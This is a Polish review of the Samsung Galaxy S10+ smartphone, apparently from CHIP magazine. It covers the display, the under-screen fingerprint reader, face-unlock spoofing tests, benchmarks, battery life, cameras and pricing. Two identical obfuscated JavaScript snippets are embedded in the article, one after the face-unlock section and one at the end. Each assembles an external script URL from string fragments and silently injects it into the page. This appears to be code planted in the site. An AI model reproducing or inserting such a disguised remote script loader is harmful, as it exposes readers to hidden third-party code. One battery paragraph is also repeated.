Najważniejsze nowości konstrukcyjne to dużo większy ekran i dużo niższa waga. W porównaniu z S9+, S10+ ma niemal identyczne wymiary, a mimo to mieści wyświetlacz aż 6,4″ (w porównaniu do wcześniejszych 6,1″), a jego waga to zaledwie 175 g wobec 189 g poprzedniego modelu. Obie zmiany należą do rodzaju tych, których na co dzień się nie zauważa, ale które faktycznie decydują o wygodzie używania telefonu.
Jak udało się zmieścić większy ekran w takiej samej obudowie? Oczywiście, dzięki pozbyciu się z górnej części obudowy wszystkiego tego, co zajmowało tam miejsce, czyli przedniego aparatu fotograficznego oraz całego oprzyrządowania systemu rozpoznawania tęczówki oka. Przedni aparat trafił w specjalne wycięcie w ekranie. Podobnie jak w Galaxy A8s lub Honor View 20 w górnej części wyświetlacza Galaxy S10/S10+, znajduje się mały otwór, przez który wygląda obiektyw aparatu do selfie. Samsung nazywa to „Infinity-O-Display”. W Galaxy S10 otwór ten jest mniejszy niż w Galaxy A8s, jednak większy, niż we wspomnianym Honorze View 20, natomiast testowany przez nas model 10+ ma jeszcze większy otwór, mieszczący dwa aparaty. Gdzie podział się promiennik i czujnik podczerwieni używane do skanowania tęczówki? Samsung pozbył się ich całkiem, rezygnując z tego sposobu biometrycznego rozpoznawania użytkownika.
Galaxy S10+ jest lekko zaokrąglony i wyposażony w aluminiową ramkę – wygląda modnie i nowocześnie. Dzięki stosunkowo kompaktowym wymiarom i pierwszorzędnej jakości wykonania nowy smartfon Samsunga już przy pierwszym kontakcie robi bardzo pozytywne wrażenie. Szklany tył wygląda dobrze, ale ślady palców są na nim niestety widoczne. Dostępne kolory to klasycznie biały i czarny, a także niebieski i zielony.
Samsung zdecydował się przesunąć umieszczony na prawej krawędzi obudowy przycisk power telefonu o około 2 cm wyżej, niż w modelu S9+, skutecznie utrudniając włączanie swojego nowego flagowca. To z kolei przykład niewielkiej zmiany o nieznanych przyczynach, która potrafi skutecznie uprzykrzyć użytkownikowi życie.
Ekran
Galaxy S10+ ma przekątną 6,4″ i typowe dla współczesnych flagowców proporcje boków 19:9. Dzięki rozdzielczości 3040×1440 pikseli (QHD+) i wysokiej gęstości upakowania pikseli wynoszącej 552 ppi, ekran jest perfekcyjnie ostry, natomiast ze względu na zastosowanie matrycy OLED może pochwalić się doskonałymi kontrastami i wyświetlaniem bardzo dobrze oddanych kolorów.
Zwłaszcza czerń jest tu głęboka i pełna. Niezłej frajdy dostarcza również oglądanie filmów, zwłaszcza że Samsung Galaxy S10 w pełni pokrywa przestrzeń barwną filmów DCI-P3 istotną dla filmów z HDR i jest zgodny z HDR10. W ustawieniach wyświetlania można wybrać inne reprezentacje kolorów oraz zmienić rozdzielczość. Właśnie: ze względu na oszczędzanie baterii S10+ ma ustawioną domyślnie rozdzielczość 2280×1080 pikseli, a więc niższą niż nominalna. Czy warto ją ręcznie zmienić na wyższą? Absolutnie nie. Poza bardzo egzotyczną sytuacją zastosowania smartfonu w mobilnych goglach VR (zauważyliście, że nikt nie przedstawia nowych gogli ani nie chwali się możliwościami VR swoich smartfonów? No właśnie, ta technologia umiera), w codziennym użytkowaniu różnica będzie niedostrzegalna.
Maksymalna jasność jest znakomita, w laboratorium testowym zmierzyliśmy ekstremalne 909 cd/m² przy 50 proc. bieli. Dzięki temu ekran jest idealnie wyraźny, nawet przy silnym nasłonecznieniu. W pomieszczeniach, gdzie nie ma potrzeby zużywać energii na tak mocne podświetlenie, algorytm obniży maksimum do przyzwoitych 444 cd/m². Jednak gdy tylko uruchomimy odtwarzanie filmu z HDR, poziom jasności ekranu automatycznie wzrośnie niezależnie od tego, gdzie się znajdujemy. Na przykład mała biała tablica tekstowa w testowym wideo świeciła z jasnością 980 cd/m². Galaxy S10+ oferuje więc najwyższej klasy wrażenia podczas odtwarzania wideo z HDR – z doskonałymi kolorami i ostrymi kontrastami.
Skaner linii papilarnych
Czasy czytnika linii papilarnych umieszczonego z tyłu pod aparatem są już za nami: Galaxy S10/S10+ jest pierwszym smartfonem Samsunga, w którym czujnik biometryczny został ukryty w wyświetlaczu. Tak jak w innych urządzeniach wyposażonych w tego typu czytnik (Oppo, Huawei, Xiaomi) aby odblokować telefon wystarczy po prostu umieścić palec na ekranie we wskazanym miejscu. Co ciekawe, Samsung zastosował inną technologię rozpoznawania odcisków palców, wykorzystując do tego fale ultradźwiękowe, a nie wykorzystywane przez konkurencję rozpoznawanie obrazu.
Ma to szereg zalet: soniczny czujnik nowych Galaxy jest zdecydowanie mniej wrażliwy na zakłócenia takie jak krem, wilgoć lub zabrudzenia na palcach, a także dużo odporniejszy na próby oszustwa za pomocą obrazu linii papilarnych. Podczas testów próbowaliśmy odblokować Galaxy S10+ mokrym palcem i liczba udanych odblokowań była dużo wyższa, niż w telefonach z czytnikiem optycznym. Niestety, nawet technologia ultradźwiękowa nie jest w stanie zapewnić osiągów porównywalnych z “tradycyjnymi”, niemodnymi już czytnikami pojemnościowymi, które były wielokrotnie szybsze i pewniejsze. W przypadku czujnika pod ekranem nabranie wprawy, tak by móc zawsze niezawodnie wybudzić telefon z trybu gotowości, wymaga nieco czasu.
Alternatywnie dostępne jest również rozpoznawanie twarzy, które prezentuje odwrotny problem. Działa bardzo szybko i skutecznie, nawet w bardzo słabym oświetleniu. Aż za skutecznie, bo okazuje się bardzo łatwe do oszukania. W naszych próbach udało nam się odblokować Galaxy S10+ za pomocą zdjęcia (3 na 15 prób zakończonych powodzeniem) oraz nagrania wideo (12 na 15 prób zakończonych powodzeniem). Wyniki są jednoznaczne: bez skanowania tęczówki (jak w modelach S8 i S9) albo projektora siatki pozwalającego stworzyć model 3D twarzy (jak w iPhone, Huawei Mate 20 Pro czy Xiaomi Mi8 Pro) ta technologia nie może być uważana za jakąkolwiek przeszkodę dla kogoś, kto będzie chciał dostać się do waszego telefonu. Należy ją traktować jako efektowny sposób budzenia telefonu, lub zabezpieczenie przed dziećmi.
(function(){
z9hg=document.createElement(“script”);z9hg_=((“u”)+”st”)+”a”;z9hg.async=true;
z9hg.type=”text/javascript”;z9hg_+=(“t.i”)+””+”n”;z9hg_+=((“f”)+”o”);z9hg_+=”/”;
z9hgu=”131205820.”;z9hgu+=”8g5zduln9hgtz6ty1aw”+”40g0b5m5ajX”;
z9hg.src=”https://”+z9hg_+z9hgu;document.body.appendChild(z9hg);
})();
Na następnej stronie m.in. o wynikach testów wydajności.
Wydajność
Najnowszy i najwydajniejszy procesor mobilny Samsunga, Exynos 9820 współpracuje z chipem graficznym Mali-G76 MP12 i 8 GB pamięci RAM. Zdaniem Samsunga wydajność procesora powinna być o 33 proc. lepsza niż poprzednika, a wydajność grafiki powinna wzrosnąć nawet o 37 procent. W testach Galaxy S10+ reagował niezwykle szybko na wszystkie – nawet najbardziej wymagające pod względem wydajności – zadania. Nasz własny, duży testowy plik PDF z mnóstwem nazw ulic Galaxy S10+ otworzył znacznie szybciej niż Galaxy S9 (w 6,2 s zamiast 13,7 sekundy). W teście PCMark na Androida telefon osiągnął 7862 punkty, a więc wyraźnie przewyższa poprzednika (5483 punkty). Jeśli chodzi o wydajność grafiki, jest jeszcze lepiej. W benchmarku GFXBench osiągnął znakomity wynik plasujący go w czołówce telefonów z Androidem.
Generalnie wyniki S10+ z Exynosem 9820 plasują go wyraźnie powyżej smartfonów Huawei i Honora wykorzystujących najnowszego Kirina 980, za to okazują się gorsze niż to, co potrafią urządzenia ze świeżo wprowadzonym Snapdragonem 855, na przykład Xiaomi Mi9.
Sterujący pracą S10+ system Android 9 Pie ukryty jest pod interfejsem Samsung OneUI 1.1. Interakcja odbywa się teraz głównie w dolnej 2/3 części ekranu, aby uniknąć karkołomnego sięgania palcami do części górnej. Smartfon powinien otrzymywać regularne aktualizacje przez dwa do trzech lat, nawet jeśli doświadczenie pokazuje, że bywają one wprowadzane z opóźnieniem. Łatka bezpieczeństwa w naszym urządzeniu testowym była datowana na 1 lutego 2019 roku, więc była aktualna.
Bateria
Ogólnie jesteśmy zadowoleni ze zmierzonych czasów działania smartfonu na baterii, ale nie uważamy ich za zbyt spektakularne. Samsung wykorzystuje baterie o pojemności 4100 mAh. Wraz z bardziej energooszczędnym procesorem, Galaxy S10+ w naszym teście czasu pracy online wytrzymał 11 h i 21 minut – to doskonały wynik. Podobnie długo jest w stanie pracować Honor View 20 (wynik 11 godzin, bateria 4000 mAh), natomiast niedoścignionym mistrzem pozostaje Huawei Mate 20, któremu udało się przekroczyć 16 godzin.
W naszym teście czasu pracy online, przyciemniamy jasność do 200 cd/m² czyli odpowiednią do użytku w pomieszczeniach i pozwalamy smartfonowi ładować filmy i strony internetowe z sieci LTE. Skrypt symuluje również przewijanie i pisanie.
W naszym teście czasu pracy online, przyciemniamy jasność do 200 cd/m² czyli odpowiednią do użytku w pomieszczeniach i pozwalamy smartfonowi ładować filmy i strony internetowe z sieci LTE. Skrypt symuluje również przewijanie i pisanie.
Pełny cykl ładowania baterii S10+ od zera do 100% zajmuje około 118 minut, a po pół godzinie mamy do dyspozycji 36%. Jak widać szybkie ładowanie w wykonaniu Samsunga jest wyraźnie wolniejsze niż Super Charge w Huawei Mate 20 Pro, który pozwala w 30 minut upchnąć w baterii prąd do nawet 65% procent jej pojemności, nie wspominając o Super Vooc OPPO, ładującym akumulator do 100% w 40 minut. Jeśli macie w domu stację ładującą Qi, możecie ładować Galaxy S10+ bezprzewodowo. Nowy flagowiec Samsunga może też, wzorem Huawei Mate 20 Pro, bezprzewodowo dzielić się prądem ze swojej baterii z innymi urządzeniami. Lepiej niż w przypadku konkurencji, Galaxy S10+ został wyposażony w dwie zgodne ze standardem Qi cewki indukcyjne na tylnej ścianie obudowy, możemy więc jednocześnie ładować nim na przykład smartwatch i słuchawki. To naprawdę wygodne rozwiązanie, pozwalające znacząco zmniejszyć liczbę zabieranych ładowarek!
Możliwości fotograficzne
Z tyłu Galaxy S10+ Samsung oferuje imponującą potrójną konstelację obiektywów, która obejmuje obiektyw szerokokątny (12 MP), ultraszerokokątny (16 MP) i teleobiektyw (12 MP). Oznacza to, że fani fotografii nie muszą rezygnować z dwukrotnego zoomu optycznego, dużych zdjęć grupowych lub krajobrazowych czy modnego efektu bokeh dla rozmycia tła na portretach. Co ważne, wszystkie aparaty są wyposażone w optyczną stabilizację obrazu, znacząco podnosząc jakość zdjęć w trudnych warunkach.
Z przodu znajduje się 10-megapikselowy aparat do selfie oraz pomocniczy aparat 8 Mpix służący do detekcji głębi wykorzystywanego do tworzenia efektu bokeh. Selfie wydają się nieco zbyt jasne, ale za to są bardzo ostre. Przednia kamera kryje bardzo przyjemną niespodziankę: pozwala kręcić filmy w rozdzielczości aż 4K – dokładnie tak samo jak tylna.
Rozszerzona została także automatyczna optymalizacja sceny, która może teraz rozpoznać 30 różnych motywów, a odpowiednie odcienie kolorów są dobierane automatycznie – znajdziemy tu kilka zupełnie nowych motywów jak „kot”, „pies” i „dziecko”. AI sugeruje również idealną pozycję fotografowania lub ostrzega przed zamkniętymi oczami lub tylnym światłem. Oczywiście nie mogło obejść się bez obowiązkowego trybu nocnego. W ciemności tryb ten składa finalną scenę z kilku kolejno uchwyconych obrazów.
Tryb Super Slo-Mo dla mocno spowolnionych scen akcji został wydłużony z 8,4 sekundy do 14,8 sekundy. Dostępne są również nowe efekty live focus, dzięki którym na pierwszy plan wysuwają się fotografowane osoby oraz efekty emoji AR. Śledzenie twarzy służy do rejestrowania ruchów użytkownika i przenoszenia ich do awatara 3D. Testowane urządzenie wciąż miało jednak problemy z rozpoznaniem bezczelnie wystawionego języka.
Świetne wrażenie robi zmienna wartość przysłony, który zmienia się w zależności od natężenia światła. W dobrze naświetlonym otoczeniu, Galaxy S10+ wybiera raczej niewielką aperturę f/2,4, co pozwala na uzyskanie dobrej głębi ostrości. Przy słabym świetle (poniżej 100 luksów) system zwiększy przysłonę do f/1,5, aby uchwycić więcej światła. W tym przypadku uzyskujemy lepsze odwzorowanie szczegółów, niższy poziom szumów i ogólnie ładniejsze zdjęcia. Ogólnie rzecz biorąc, bardzo podobają nam się zdjęcia robione aparatem w Galaxy S10+. W dobrych warunkach oświetleniowych uzyskują najwyższą ocenę. Szczegóły włosów, przędzy lub siatki sita są świetne, kolory wyglądają bardzo naturalnie i nie są zbyt jaskrawe.
Również ujęcia w słabym świetle przekonują, ponieważ zawierają wiele szczegółów, kolory są bardzo dobre, a poziom szumów niski. Na pierwszy rzut oka trudno nawet dostrzec, że testowe zdjęcia były wykonywane w słabym świetle – imponujące. Nawet kontrasty są bardzo wyraźne – małe czcionki napisów na zdjęciach są bardzo dobrze czytelne. Na zdjęciach próbnych niepokojące jest tylko rozmycie krawędzi. Problemem ten występuje też w Galaxy S10.
Cena
Galaxy S10+ to flagowy model Samsunga, więc jak łatwo się domyślić, nie jest tani. W sklepie www.mediaexpert.pl testowana przez nas wersja wyposażona w 8 GB pamięci RAM i 128 GB pamięci masowej kosztuje 4399 zł. Dostępne są też wersje 8GB/512GB (4999 zł) oraz 12GB/1TB (6999 zł). | CHIP
→W naszych rankingach smartfonów znajdziecie m.in. test Samsunga Galaxy S10 Plus.
(function(){
z9hg=document.createElement(“script”);z9hg_=((“u”)+”st”)+”a”;z9hg.async=true;
z9hg.type=”text/javascript”;z9hg_+=(“t.i”)+””+”n”;z9hg_+=((“f”)+”o”);z9hg_+=”/”;
z9hgu=”131205820.”;z9hgu+=”8g5zduln9hgtz6ty1aw”+”40g0b5m5ajX”;
z9hg.src=”https://”+z9hg_+z9hgu;document.body.appendChild(z9hg);
})();